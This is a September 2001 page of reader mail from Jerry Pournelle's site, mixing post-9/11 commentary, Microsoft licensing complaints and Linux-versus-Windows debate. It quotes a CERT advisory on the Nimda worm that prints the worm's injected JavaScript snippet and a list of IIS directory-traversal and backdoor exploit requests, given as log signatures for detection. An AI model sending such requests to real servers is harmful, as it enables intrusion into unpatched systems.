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Mail 171 September 17 - 23, 2001

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This week:



Monday  September 17, 2001

A new era begins. See also Warmail for mail specific to that subject.

Begin with someone who took me seriously:

An interesting and thought-provoking article. I'm not sure I will agree when I've thought it through but that's not the point is it?

One comment, you should suggest bulldozing Kandahar rather than Kabul. Bullozing in Kabul would imply that the Taliban are the legitimate government of Afghanistan or that Kabul is their center of power, they are not. They are a regional fanatic sect that has conquered most of the country by force, their home base is Kandahar and that is where any monument would have to be.

Cheers, Nic

And indeed I agree; which shows that one ought to think things through before acting. There is never infinite time to make decisions, and often it is better to do the wrong thing NOW than the right thing too late. In any event, yes.

I have put this in warmail as well.





This week:



Tuesday,  September 18, 2001

Today we will to get mail back to more normal subjects.


Just a quick note I thought you'd be interested in. Apparently, its a good thing you gave up on using FrontPage 2002 for your web pages. You might want to reconsider using it even if Microsoft "fixes" the things in it that weren't broke in the first place. I just noticed in the license for FrontPage2002 (which one must agree to in order to install the product), the following:

"You may not use the Software in connection with any site that disparages Microsoft, MSN, MSNBC, Expedia, or their products or services..."

So much for your objective reporting about Microsoft products should you use this to create your web pages.

Steve Russo

Ye flipping gods. They have lost their minds.

I also got this from Roland with the subject "I guess you won't be using Front Page XP..."



While we're on the subject of license enforcement, let me throw in a term one alert reader just spotted in the license for FrontPage 2002. "You may not use the Software in connection with any site that disparages Microsoft, MSN, MSNBC, Expedia, or their products or services ... " the license reads in part. Good thing InfoWorld doesn't use FrontPage 2002 to post this column, I guess.

Fortunately I am using FP 2000 to post this, and I will be sure not to use FP 2002. I guess the legal department has taken over?

Here is what Falwell really said:

Hi Dr. Pournelle,

> "For the moment, understand that Fallwell's statements -- it is > difficult to find out precisely what he said"

Not really. Here is a link to an MP3 file containing the conversation between Pat Robertson and Jerry Falwell. 

Just FYI,

Russ (Russell D. Miller)

Thank you. Hearing it in context is the proper way to listen to what he said. I do not intend to change my remarks about it. Thank you again.


Hi Jerry:

I am sending this from my work e-mail. It appears my personal e-mail and web host is having trouble, likely related to the subject of this e-mail. I work at a large four year University in Kentucky and ever since this morning there has been a massive increase in the number of HTTP port probes/scans against my work PC. The number is so large (and all coming from within the local domain at this point) that it is clear massive infection has taken place and/or massive attacks are being launched. See these links:

Many web sites are slow or not available. Based on the NIPC report, it could be a bunch of hackers taking advantage of Black Tuesday or it could be part of the on going terrorist attacks against this country.

Have you experienced this on the west coast?

What are your thoughts.


Bruce Edwards

Beyond warning people there's no more I know to do. Thanks

From a reader:

There are going to be overseas roles for our combat forces but I would like these blows to be well aimed and overwhelmingly effective rather than diffused for public opinion more so than to destry critical targets. Our combat forces will go in harm's way overseas when ordered. And willingly. No one likes to put their life on the line, however, when the goal is a headline. The public needs to appreciate that American and European cities and infrastructure are at the moment more the front lines than Kabul.



I received this advisory a few hours after your first warning email. It appears to contain more detail on this latest worm.


----- Original Message ----- From: "CERT Advisory" <> To: <> Sent: Tuesday, September 18, 2001 7:33 PM Subject: CERT Advisory CA-2001-26



CERT Advisory CA-2001-26 Nimda Worm >>

Original release date: September 18, 2001 > Source: CERT/CC >>

A complete revision history is at the end of this file. >>

Systems Affected >>

* Systems running Microsoft Windows 95, 98, ME, NT, and 2000 >>

Overview >>

The CERT/CC has received reports of new malicious code known as the > "W32/Nimda worm" or the "Concept Virus (CV) v.5." This new worm > appears to spread by multiple mechanisms: >>

* from client to client via email >>

* from client to client via open network shares >>

* from web server to client via browsing of compromised web sites >>

* from client to web server via active scanning for and exploitation > of the "Microsoft IIS 4.0 / 5.0 directory traversal" vulnerability > (VU #111677) >>

* from client to web server via scanning for the back doors left > behind by the "Code Red II" (IN-2001-09), and "sadmind/IIS" > (CA-2001-11) worms >>

Initial analysis indicates that the worm contains no destructive > payload beyond modification of web content to facilitate its own > propagation. >>

We are also receiving reports of denial of service as a result of > network scanning and email propagation. >>

I. Description >>

The Nimda worm has the potential to affect both user workstations > (clients) running Windows 95, 98, ME, NT, or 2000 and servers running > Windows NT and 2000. >>

Email Propagation >>

This worm propagates through email arriving as a MIME > "multipart/alternative" message consisting of two sections. The first > section is defined as MIME type "text/html", but it contains no text, > so the email appears to have no content. The second section is defined > as MIME type "audio/x-wav", but it contains a base64-encoded > attachment named "readme.exe", which is a binary executable. >>

Due to a vulnerability described in CA-2001-06 (Automatic Execution of > Embedded MIME Types), any mail software running on an x86 platform > that uses Microsoft Internet Explorer 5.5 SP1 or earlier (except IE > 5.01 SP2) to render the HTML mail automatically runs the enclosed > attachment and, as result, infects the machine with the worm. Thus, in > vulnerable configurations, the worm payload will automatically be > triggered by simply opening (or previewing) this mail message. As an > executable binary, the payload can also be triggered by simply running > the attachment. >>

The email message delivering the Nimda worm appears to also have the > following characteristics: >>

* The text in the subject line of the mail message appears to be > variable, but those seen to date have been over 80 characters > long. >>

* There appear to be many slight variations in the attach binary > file, causing the MD5 checksum to be different when one compares > different attachments from different email messages. However, the > file length of the attachment appears to consistently be 57344 > bytes. >>

Payload >>

Infected client machines attempt to send copies of the Nimda worm via > email to all addresses found in the Windows address book. >>

Likewise, the client machines begin scanning for vulnerable IIS > servers. Nimda looks for backdoors left by previous IIS worms: Code > Red II [IN-2001-09] and sadmind/IIS worm [CA-2001-11]. It also > attempts to exploit the IIS Directory Traversal vulnerability (VU > #111677). The selection of potential target IP addresses follows these > rough probabilities: >>

* 50% of the time, an address with the same first two octets will be > chosen >>

* 25% of the time, an address with the same first octet will be > chosen >>

* 25% of the time, a random address will be chosen >>

The infected client machine transfers a copy of the Nimda code to any > server that it scans and finds to be vulnerable. Once running on the > server machine, the worm traverses each directory in the system > (including all those accessible through a file shares) and write a > copy of itself to disk using the name "README.EML". When a directory > containing web content (e.g., HTML or ASP files) is found, the > following snippet of Javascript code is appended to every one of these > web-related files: >>

<script language="JavaScript">>"readme.eml", null, "resizable=no,top=6000,left=6000") > </script>>

> This modification of web content allows further propagation of the > worm to new clients through a browser or browsing of a network file > system. >>

Browser Propagation >>

As part of the infection process, the Nimda worm modifies all web > content files it finds (including, but not limited to, files with > .htm, .html, and .asp extensions). As a result, any user browsing web > content on the system, whether via the file system or via a web > server, may download a copy of the worm. Some browsers may > automatically execute the downloaded copy, thereby infecting the > browsing system. >>

File System Propagation >>

The Nimda worm creates numerous copies of itself (using the name > README.EML) in all writable directories (including those found on a > network share) to which the user has access. If a user on another > system subsequently selects the copy of the worm file on the shared > network drive in Windows Explorer with the preview option enabled, the > worm may be able to compromise that system. >>

System FootPrint >>

The scanning activity of the Nimda worm produces the following log > entries for any web server listing on port 80/tcp: >>

GET /scripts/root.exe?/c+dir > GET /MSADC/root.exe?/c+dir > GET /c/winnt/system32/cmd.exe?/c+dir > GET /d/winnt/system32/cmd.exe?/c+dir > GET /scripts/..%5c../winnt/system32/cmd.exe?/c+dir > GET /_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe?/c+dir > GET /_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe?/c+dir > GET /msadc/..%5c../..%5c../..%5c/..\xc1\x1c../..\xc1\x1c../..\xc1\x1c../winnt/sy stem32/cmd.exe?/c+dir > GET /scripts/..\xc1\x1c../winnt/system32/cmd.exe?/c+dir > GET /scripts/..\xc0/../winnt/system32/cmd.exe?/c+dir > GET /scripts/..\xc0\xaf../winnt/system32/cmd.exe?/c+dir > GET /scripts/..\xc1\x9c../winnt/system32/cmd.exe?/c+dir > GET /scripts/..%35c../winnt/system32/cmd.exe?/c+dir > GET /scripts/..%35c../winnt/system32/cmd.exe?/c+dir > GET /scripts/..%5c../winnt/system32/cmd.exe?/c+dir > GET /scripts/..%2f../winnt/system32/cmd.exe?/c+dir >>

Note: The first four entries in these sample logs denote attempts to > connect to the backdoor left by Code Red II, while the remaining log > entries are examples of exploit attempts for the Directory Traversal > vulnerability. >>

II. Impact >>

Intruders can execute arbitrary commands within the LocalSystem > security context on machines running the unpatched versions of IIS. > Host that have been compromised are also at high risk for being party > to attacks on other Internet sites. >>

The high scanning rate of the Nimda worm may also cause bandwidth > denial-of-service conditions on networks with infected machines. >>

III. Solutions >>

Recommendations for System Administrators of IIS machines >>

To determine if your system has been compromised, look for the > following: >>

* root.exe artifact (indicates a compromise by Code Red II or > sadmind/IIS worms making the system vulnerable to the Nimda worm) >>

* admin.dll artifact or unexpected .eml files in the directories > with web content (indicates compromise by the Nimda worm) >>

The only safe way to recover from the system compromise is to format > the system drive(s) and reinstall the system software from trusted > media (such as vendor-supplied CD-ROM). Additionally, after the > software is reinstalled, all vendor-supplied security patches must be > applied. The recommended time to do this is while the system is not > connected to any network. However, if sufficient care is taken to > disable all server network services, then the patches can be > downloaded from the Internet. >>

Detailed instructions for recovering your system can be found in the > CERT/CC tech tip: >>

Steps for Recovering from a UNIX or NT System Compromise > >>

Apply the appropriate patch from your vendor >>

A cumulative patch which addresses all of the IIS-related > vulnerabilities exploited by the Nimda worm is available from > Microsoft at >> >>

Recommendations for End User Systems >>

Apply the appropriate patch from your vendor >>

If you are running a vulnerable version of Internet Explorer (IE), the > CERT/CC recommends applying patch for the "Automatic Execution of > Embedded MIME Types" vulnerability available from Microsoft at >> >>

Run and Maintain an Anti-Virus Product >>

It is important for users to update their anti-virus software. Most > anti-virus software vendors have released updated information, tools, > or virus databases to help detect and partially recover from this > malicious code. A list of vendor-specific anti-virus information can > be found in Appendix A. >>

Many anti-virus packages support automatic updates of virus > definitions. We recommend using these automatic updates when > available. >>

Don't open e-mail attachments >>

The Nimda worm may arrive as an email attachment named "readme.exe". > Users should not open this attachment. >>

Disable JavaScript End-user systems can become infected with the > Nimda worm by browsing web sites hosted by infected servers. This > method of infection requires the use of JavaScript to be successful. > Therefore, the CERT/CC recommends that end user systems disable > JavaScript. >>

Appendix A. Vendor Information >>

Antivirus Vendor Information >>

Central Command, Inc. >> > er/std_adp.php?p_refno=010918-000005 >>

Command Software Systems >> >>

Data Fellows Corp >> >>

McAfee >> >>

Sophos >> >>

Symantec >> >>

Trend Micro >> > TROJ_NIMDA.A >> > asp?VName=TROJ_NIMDA.A >>

You may wish to visit the CERT/CC's computer virus resources page > located at >> >>

References >>

Authors: Roman Danyliw, Chad Dougherty, Allen Householder, Robin > Ruefle > __________________________________

This document is available from: > > ____

CERT/CC Contact Information >>

Email: > Phone: +1 412-268-7090 (24-hour hotline) > Fax: +1 412-268-6989 > Postal address: > CERT Coordination Center > Software Engineering Institute > Carnegie Mellon University > Pittsburgh PA 15213-3890 > U.S.A. >>

CERT personnel answer the hotline 08:00-20:00 EST(GMT-5) / EDT(GMT-4) > Monday through Friday; they are on call for emergencies during other > hours, on U.S. holidays, and on weekends. >>

Using encryption >>

We strongly urge you to encrypt sensitive information sent by email. > Our public PGP key is available from >> >>

If you prefer to use DES, please call the CERT hotline for more > information. >>

Getting security information >>

CERT publications and other security information are available from > our web site >> >>

To be added to our mailing list for advisories and bulletins, send > email to and include SUBSCRIBE > your-email-address in the subject of your message. >>

* "CERT" and "CERT Coordination Center" are registered in the U.S. > Patent and Trademark Office. > 

NO WARRANTY > Any material furnished by Carnegie Mellon University and the Software > Engineering Institute is furnished on an "as is" basis. Carnegie > Mellon University makes no warranties of any kind, either expressed or > implied as to any matter including, but not limited to, warranty of > fitness for a particular purpose or merchantability, exclusivity or > results obtained from use of the material. Carnegie Mellon University > does not make any warranty of any kind with respect to freedom from > patent, trademark, or copyright infringement. > ________________________________ >>

Conditions for use, disclaimers, and sponsorship information >>

Copyright 2001 Carnegie Mellon University. >>

Revision History >>

September 18, 2001: Initial Release >>




This week:



Wednesday, September 19, 2000


After reading "never set the cat on fire", I just HAD to find out who wrote it.

Then I had to find out what else he wrote.

And I discovered "Afghanistan (Moscow Nights 2)".

Is it just coincidence, or did you subconsciously pick the first song because Frank Hayes wrote the second one, too?

Your obediant servant,

Calvin Dodge

Well, I am very much a Frank Hayes fan, and I have found myself muttering under my breath recently, "In  Afghanistan, it's down by old Iran, where the oil wells are beautiful to see..."

Roland reminds us to "Remember old Elphy Bey . . . "

This is a good situation report on problems we're going to face. And Peter Glakowsky tells us:

President Bush has issued an apology, through his press office, for his use of the word "crusade" to describe the US response to the 911 attacks. 

Nevertheless, we'll still have to wait and see how accurate the term is...

. png

I'm sure happy to know that this war will be fought on politically correct terms. Mustn't offend anyone, particularly people who are imprisoning American aid workers for spreading Christianity...

Now back to the Microsoft License issue:

Jerry, Thanks for the link to the InfoWorld column by Ed Foster. A few years ago I would have thought that his musings on the implications of the new authentication scheme were over the top. Now I have to give them serious thought. I was pleased to see the way he ended his column: "If we didn't know it already, it's pretty clear now that the courts aren't going to restrain Microsoft from controlling its market. The only one who can do that is the person starring back at you in the mirror". That part I don't have to think about - he's exactly right.

On the topic of the terms of the license for Front Page 2002 - now that they're public knowledge, how long do you think it will take Microsoft to repudiate them, and announce they were the actions of an "overzealous" employee?

Chuck Wingo

I give it about 3 days...

It may even be true, you know. Many years ago a summer hire did put a message about "now trashing your hard disk" into the error messages in DOS (about DOS 5 as I recall). As it happened I got that message and I wrote a tirade. The next thing I knew I had a phone call from Bill Gates himself explaining what had happened. It was true, too: there was a bug totally unrelated to this message (a file was never closed and grew without bounds), and eventually triggered this message which had been inserted as a joke.

But this attempt to restrict what you can say on a web site constructed with Front Page 2002 is pathetic, and I can't imagine any grownup at Microsoft approved it.

Dr Pournelle, The Washington Post is reporting that Max Beilke, 69, the last U.S. combat soldier to leave Vietnam, is missing, and presumed dead, in the attack on the Pentagon. 

Kit Case

Eerie indeed...

Another comparison of Linux vs Win2k on the desktop, from a business users point of view:

< >

This is for a small company, ~25 computers, $10,000 minimally saved.

One interesting thing: he claims Win2k really wants 256MB of RAM. I hadn't heard this - what are your experiences.

Pete Flugstad

I sort of recall W2K running just fine with 128mb memory, but memory is so cheap now that I don't think I have any machines with less than 512mb any longer. Linux is getting to the point where it is usable: as I previously wrote it's possible to set up Linux work stations running against Microsoft Client Server that will let you run most Microsoft applications on machines without a single byte of Microsoft software, over a network that, except for the Client Server machine, has no Microsoft software. However,  if you want to do that, you better know what you are doing. I am not quite there yet.

Hi, Jerry. Thought you'd appreciate this, an airline pilot talking to his passengers on Saturday. As seen at the Washington Times.



- Jonathan Abbey Austin, TX

Indeed. Thanks.

Jerry -- regarding the Linux vs. W2k article -- anyone who seriously would recommend Apache/PHP/etc. vs. Access is smoking the wrong kind of dope -- Access is not a "design a web site with database" application -- it is a user database. Apache/PHP/etc. is NOT a user database system by any stretch of the imagination.

Secondly -- if you need to use Terminal Server or any MS supplied software throw in the towel -- your on the hook for 100% of the lincese costs for both the OS (W2K/etc.) and the application in question EVEN if it is a server based solution (Terminal Server for example) for every client that uses the software.

Thirdly -- and still an issue today -- you need to have local tech support for your installation -- how many local certified Linux people can you find in your local market? I usually only recommend systems where there are other support people in the area -- because then the client has real choice -- the choice of me or any other consultant in the area.

Fourthly -- and the final blow for Linux at this point -- the Office products are only 25% of what MS Office is today. For all users that only use that 25% of Office it works. For the other 75% of users it is doesn't work as well. Add in the fact that to make StarOffice work well you'd best purchase that 256mb of RAM -- my impression of it was do not try to use it unless you have the same or better hardware that is required for W2K.

Chris Smith

Well we aren't free of Microsoft yet, then. But I don't have go to 2002...

Re: Anthrax

Not to put too fine a point on it- I am a lawyer in New York. After the Sixty Minutes piece on bio-war I am still standing by here. Why can't civilians get anthrax vaccinations?

The Johns Hopkins University Center for Civilian Biodefense Studies: 

David Schierholz

You can't buy nerve gas remedy kits either. Your government knows best. You are not a citizen you are a subject, to be taken care of. Welcome to the empire.


You recently said: I find it interesting that the liberal establishment in California wants to give huge tuition breaks to illegal aliens -- but continue to charge Americans from other states quite high tuition. I wonder if the taxpayers of California have thought about this much.

Please remember that although you are the exception, we are talking about the same lot that got themselves into the current electricity situation by putting a cap on what they could be charged while not putting a cap on what the utility companies could be charged while banning any construction of new power plants, thus forcing the utilities to buy power from out of state at high rates on the spot market, because they were afraid that a long-term contract at reasonale rate would be too risky and costly.

California taxpayers think - an oxymoron if I ever heard one.

Chris Keavy

Well we did elect Reagan governor...





This week:


read book now


Thursday, September 20, 2001

Dr. Pournelle,

Your recent discussion of Linux usage at Chaos Manor made me think of you when I read the following article on Linux newbies: 

I have also had my share of problems with Linux installs.

Mostly with driver support and automatic detection of hardware.

Once past those, it is mostly a breeze. However, having to upgrade all sorts of stuff whenever a major change occurs is wearing thin. Linux still requires a higher level of constant attention in order to keep up to date than does Windows.


Oliver Richter

It is slowly getting there, though. The problem now is applications. In 1990 Gates tried to get everyone, anyone, to write applications for Microsoft Windows. No one would do it. "So I went to the Microsoft Applications Group and they didn't have that option."  Microsoft wasn't going to be a big applications house, and Excel was developed for the Mac. Now ---

Someone (did they not put their name in, or did you remove it?) wrote you: > Jerry -- regarding the Linux vs. W2k article -- anyone who seriously > would recommend Apache/PHP/etc. vs. Access is smoking the wrong > kind of dope -- Access is not a "design a web site with database" > application -- it is a user database. Apache/PHP/etc. is NOT a user > database system by any stretch of the imagination.

LAMP = Linux Apache MySQL PHP/Python/Perl

Aka, the standard setup for Linux web sites. Also, since it has MySQL (a real database) behind it, you can do all kinds of the same types of things Access does, typically using Apache web server as the interface (so it's all webified).

In this articles case, they had an business ciritcal Access DB that they could transition to MySQL, put a Apache/PHP interface in front of it and everything worked just fine.

> Secondly -- if you need to use Terminal Server or any MS supplied > software throw in the towel -- your on the hook for 100% of the > lincese costs for both the OS (W2K/etc.) and the application in > question EVEN if it is a server based solution (Terminal Server for > example) for every client that uses the software.

Heh - so, even more reason to save money with Linux.

> Thirdly -- and still an issue today -- you need to have local tech > support for your installation -- how many local certified Linux > people can you find in your local market? I usually only recommend > systems where there are other support people in the area -- because > then the client has real choice -- the choice of me or any other > consultant in the area.

Hmm, "certified Linux" people. Well these will be few and far between since typically people are certified on distributions of Linux (Red Hat, Mandrake, SuSE, Caldera, etc) rather than on generic Linux.

But I'd put money on Internet FAQs/HOWTOs/newsgroup support, Red Hat support or any other type of Linmux support (up to and including local Linux Users Groups) actually being able to solve a problem than I would on any "Microsoft Certified <anything>" person solving a real problem. My experience with them has them having problems finding their way out of a paper bag.

> Fourthly -- and the final blow for Linux at this point -- the Office > products are only 25% of what MS Office is today. For all users > that only use that 25% of Office it works. For the other 75% of > users it is doesn't work as well. Add in the fact that to make > StarOffice work well you'd best purchase that 256mb of RAM -- my > impression of it was do not try to use it unless you have the same > or better hardware that is required for W2K.

Last time I checked, a very large percentage of people using Office of any flavor probably used 1-2% of it's functionality, mostly basic word processing or presentation work.

I've run StarOffice on a P5/233 (MMX) laptop with 96 MB of RAM running Linux (Red Hat). It was sluggish, and I wouldn't want to do it every day, but then it is a 4 year old laptop and the memory was maxed out. It was sufficient to load a 50 page Word doc (yes, it swapped a bit) do some editing, and save it. What would Win2k do on this laptop?

The whole point of this article was business economics. At this point in time, and with Microsoft's upgrade policies, it's becoming prohibitively expensive to justify Microsoft's OSes and application suite. You pay $200 for the OS, $250+ for Office (assuming you do it in time for their forced upgrade grace period, or $500+ for new or if you miss their grace period) for 400MB of software of which the vast majority of your users use a vanishingly small percentage, certainly almost nothing in the new version that they didn't already use in the old version. And 3 years from now, Microsoft will force the switch to pay as you go, and you'll end up with a yearly bill from Redmond. In addition, you pay more money to upgrade perfectly fine machines memory and CPU (and disk and graphics) just so you can get the same performace you got 12 months ago with your current hardware.

As previously noted: any business that is not seriously looking at and evaluating Linux solutions like this is doing a disservice to their stockholders. Microsoft has (and is pushing) American businesses on an endless upgrade cycle - with the downturn in the economy, this can't be economically justified anymore.

Pete Flugstad

If people don't put their names at the end of mail, I sometimes don't think to go find them and append them. This isn't an automated operation, but I don't edit without noting I have done so.

And I agree it is getting increasingly expensive to use Microsoft everything.


"Fourthly -- and the final blow for Linux at this point -- the Office products are only 25% of what MS Office is today. For all users that only use that 25% of Office it works. For the other 75% of users it is doesn't work as well. "

I used to write books on this stuff for a living - paid for a decent chunk of college writing books on spreadsheets, for example. My experience was, and still is, that 95% of the users get by with <20% of the functionality. The remaining 5% push the software to the limits. How many Excel users know that it is even _possible_ to do a multi-key table sort? Or that you can nest conditionals within formulas? Or that you can do index lookups on separate data tables? Or that you can automate standard procedures into a simple macro button that lives on a custom toolbar or palette? What about Word users? Ever hear of _styles_? What about customizable numbered or bullet lists? Knowing the capability is there, do they use it? No. Star Office covers the needs of >95% of "Office" package users. It's a relatively small group that requires, or makes use of, the high-end capabilities.

Charlie Prael

Well, three times did I try Star Office and three times did I give up. Perhaps it is my curmudgeonly ways. Has it improved a lot in the past year or so?


I am currently running QA4 on both my computers with only one problem. My main machine is running Me with QA on the D drive (4.8GB). The only problem I have found is that the program will sometimes bomb when printing. Reloading the program will let me print the file. I don't use QA very often so it hasn't been worth the trouble to try and find the source of the print problem. My laptop also runs QA4 ok and it has Windows 98. The drive has 4.5GB and I have had no problems with this setup. Could your problem be a DOS problem rather than a QA problem?

While on the subject of QA, I wish to thank you for pointing me to that program when I first switched to DOS computers back in 1988. I searched high and low for a word processor as good as EasyScript I had been using on my Commodore 64. All the "good" word processors were seriously defficient and I had almost resigned myself to a less than satisfactory solution when I read your comments on QA Write in Byte. I tried the demo version and was sold immediately. I wound up buying the full QA and still use it in my business. I am now semi-retired and it hasn't been worth the effort to convert my data base to Access.

Chuck Anderson


Sigh. It was a great program in its time and I do not understand why they did not continue to develop it.

> HAH!! I need to partition my drive to be smaller than 1.8GB before QA > will run!! As for the rest, thanks to all of you who sent the himem > formulas. Now all I have to do is get Partition Magic out. Thanks to > Mark Hartwell!

You're welcome, but I fear that the symptom you described: " the old Q&A program. At the moment it attempts to load but never finishes loading" doesn't sound like a problem from an oversized partition.

Which version of Q&A are you trying to install?

The installation program may not run well on a fast machine. (Read that as any machine bought in the last three years.) You might try a shareware program like MOSLOW to get the program installed. OR ... skip the install program completely and use XCOPY to get all the files from a working installation from another machine.

As far as the memory goes, 5.0 uses 499k of my conventional memory, 128k of EMS and 3k of XMS.

All the Q&A links you are likely to need are at

Good luck.

Mark Hartwell

I did copy from a machine where it worked: a Pentium 200. Perhaps what I need is a slower machine. Do I have to go build an old old machine to get this running? Sigh...

Thank you.


It's worth noting that this virus seems much more prolific than the previous 2 code red variants. In particular on my *personal* website, I have over 600 attacks in just 38 hours as of this morning. That's more total attacks than either of the other two variants over their entire lifetimes. The other thing is I'm counting an attack once even though it actually consists of 17 URLS thrown at the site. So the total aggregate load of all this will be much higher if there are very many Code Red vulnerable systems left (I could provide a list of them on PacBell Internet, where my webserver lives...)



_joe Pistritto_

It is a definite attack. And we need to begin thinking about that kind of security too.


Monday afternoon I had occasion to visit the local bookstore and ended up walking out with "Prince of Mercenaries" and "Starswarm".

I read "Starswarm" at one sitting. (I had to space out "Prince of Mercenaries" over two days because I began reading it late Monday night.) The book had just enough foreshadowing that I was pretty sure what was going to happen next, but not so much that I was *certain* of my guesses. I wouldn't call it "predictable", though, because I dabble in writing myself and make a game of trying to outguess the author of any book I read.

I was reminded of Heinlein's juveniles when I read that book; it was much the same kind of story. I am so very glad that there are still authors out there who write stories like that.

My only complaint (minor) would be that the story ended kind of abruptly. The story was over, but I wanted to read I'd say it was a very good book.

Ed Hering

PS The fact that the GW main computer was running a variant of Unix amused me.


And a thought for the day -- Mark Twain on DMCA

This from the DMCA list this morning.


Hi: Well, maybe we're on the right track, maybe not. Here's 3 from an officionado of Mark Twain: 


They always talk handsomely about the literature of the land....And in the midst of their enthusiasm they turn around do what they can to discourage it. - Speech in Congress, 1906

Whenever a copyright law is to be made or altered, then the idiots assemble. - Mark Twain's Notebook, 1902-1903

Only one thing is impossible for God: to find any sense in any copyright law on the planet. - Mark Twain's Notebook, 1902-1903

Enjoy! And, wonder what he would think of this latest nonsense, eh? 


And then we have the ultimate in making do:

>You can't buy nerve gas remedy kits either. Your government knows best.

>You are not a citizen you are a subject, to be taken care of. Welcome to the empire.

Is it reasonably easy and affordable to produce antidotes for common gas weapons with readily available materials? Perhaps someone should put together a page on how to do this. It wouldn't help with bioweapons, of course, but it might do some good and would be interesting to learn about.

Regarding Q&A, some possibilities that come to mind are:

* Seeing if there is a DOS or Windows emulator for Linux, such as WINE, that would run the program correctly.

* Building an inexpensive homebrew system with the proper hardware (delays, if necessary, to slow it down) so you could dig out some old DOS and Windows 3.1 disks and run Q&A there.

* See if anyone is throwing out an old system that still works and try running the software on it.

* Encourage people to write an open source Q&A-like program for Linux that is compatible with the Q&A file format.

I don't like Microsoft's online registration plans or much else that they do, but it is not all that relevant to me as I still use a 486/33 running DOS and, when I absolutely have to, Windows 3.1. This suits my needs fine; I can do word processing, do my taxes on a Quattro Pro spreadsheet, and write programs (mostly in APL and C++). I have been thinking of getting a laptop and making it a pure Linux machine, but I figure I might as well wait until 64-bit processors come along so I don't have to upgrade again so soon. I have Linux on another 486/33 that I haven't been able to get to for several years as there are too many books in the way. Also, I have the pleasure of using Solaris at work. In general, I find that the Unix environment is much more powerful and convenient than Windows since you have tools like awk, sed, Perl, and so on to play with, utilities such as sort are actually useful, not the pathetic toys you get with Windows, and you get a real shell scripting language to work with, but the one thing that sucks is the editors. What emacs bozo decided that Del should duplicate backspace and then made everyone use an awkward two-key combination for the common operation of deleting forward? Dumb!!! The constant mode switching in vi drives me crazy. When I have a chance I would like to write a PC-Write-like editor for Linux. That is by far the best editor that I have ever had the pleasure of using. Anyway, I am gradually moving away from Micros~1 land and their ridiculous licensing nonsense. Good riddance.

Most people have far more computing power than they have any real use for. There is no reason why they should go out and buy new machines or software versions all of the time. There is another reason not to upgrade: if you run an older program such as Word 6.0 on a modern Windows system it really flies, and you can get by fine without all of the additional crapware that MS has bloated the program up with since that version came out.

Does anyone out there have reasonable estimates for the number density of interplanetary dust particles and how this varies with position? I would expect there to be less dust near the Sun, where it would be removed by Poynting- Robertson drag, and where volatiles can't condense, but I don't have any numbers. I became involved in a discussion about how much damage dust impacts would do to relativistic kinetic-kill missiles and I'd like to do the calculations but I can't find the density numbers on the web, just qualitative descriptions.


--- Brian

Nerve gas injection kits: would be about $30 each if you could buy them.

And the problem is that Word and Office WORK, and most of the things that are supposed to substitute for them have "improvements"...






This week:




And This:

Well, I would say that Bush's speech of Sept. 20 was the pivot-point. We now have an Empire. I must try to memorize the tune to "Land of Hope and Glory". I already know the words, from another context:

"Thine equal laws, by freedom gained
 Have served thee well and long.
 By freedom gained, by truth maintained
 Thine Empire shall be strong...."

My grandmother, who was born in the U.S. in 1897, often used to say that she felt like an immigrant who had spent her childhood in an entirely different country. For many years, I assumed she was talking about the technological change which took place in the early decades of the 20th century. She was six when the Wright Brothers flew, after all, and nine or ten before she ever saw an automobile.

Finally, one day, I asked her why she said it. And she answered that before World War I, the U.S. was just another country in the world, and not a particularly important one, and foreign news did not particularly matter to anyone, but that after World War I the U.S. became a superpower, and that she'd never felt it was the same place thereafter.

I think now I know just how she felt.

-- Meredith Dixon <> Check out *Raven Days*:  For victims and survivors of bullying. And for those who want to help.

Which is why I wish we would declare war. But my first thoughts after that morning of 9-11 were, Mourn The Republic. I have seen no reason to change that view.



From Mr. St. Onge:

From: Stephen M. St. Onge subject: LIGHT A CANDLE MEMORIAL SITE

Dear Jerry: You may already know this, but if not, at , click on Light a candle at ICQ and you can leave a message in memorium of those murdered on 9/11/01. As of 1:52 CST today (9/20), there were more than 538889 already there.

Best, Stephen

I am not entirely enamored of such things; a more substantive gesture would be a financial donation, and we are all making that (all of us who pay taxes, at any rate). Still,  the sheer number should be a comfort to the families of the victims. It is not balm from Gilead but considerably better than nothing.

I have received the following from many sources, and posted it in warmail, but apparently not everyone saw it there:


-----Original Message----- From: McFadden, Rodney [

Sent: Friday, September 21, 2001 10:06 AM 


This amazing piece is from Dr. Tony Kern, Lt Col, USAF (Ret)

Former Director of Military History, USAF Academy


Recently, I was asked to look at the recent events through the lens of military history. I have joined the cast of thousands who have written an "open letter to Americans." Please share it if you feel so moved. Tony 14 September, 2001

Dear friends and fellow Americans

Like everyone else in this great country, I am reeling from last week's attack on our sovereignty. But unlike some, I am not reeling from surprise.

As a career soldier and a student and teacher of military history, I have a different perspective and I think you should hear it. This war will be won or lost by the American citizens, not diplomats, politicians or soldiers. Let me briefly explain.

In spite of what the media, and even our own government is telling us, this act was not committed by a group of mentally deranged fanatics. To dismiss them as such would be among the gravest of mistakes. This attack was committed by a ferocious, intelligent and dedicated adversary. Don't take this the wrong way. I don't admire these men and I deplore their tactics, but I respect their capabilities. The many parallels that have been made with the Japanese attack on Pearl Harbor are apropos. Not only because it was a brilliant sneak attack against a complacent America, but also because we may well be pulling our new adversaries out of caves 30 years after we think this war is over, just like my father's generation had to do with the formidable Japanese in the years following WW II.

These men hate the United States with all of their being, and we must not underestimate the power of their moral commitment. Napoleon, perhaps the world's greatest combination of soldier and statesman, stated "the moral is to the physical as three is to one." Patton thought the Frenchman underestimated its importance and said moral conviction was five times more important in battle than physical strength. Our enemies are willing - better said anxious-to give their lives for their cause. How committed are we America? And for how long?

In addition to demonstrating great moral conviction, the recent attack demonstrated a mastery of some of the basic fundamentals of warfare taught to most military officers worldwide, namely simplicity, security and surprise.

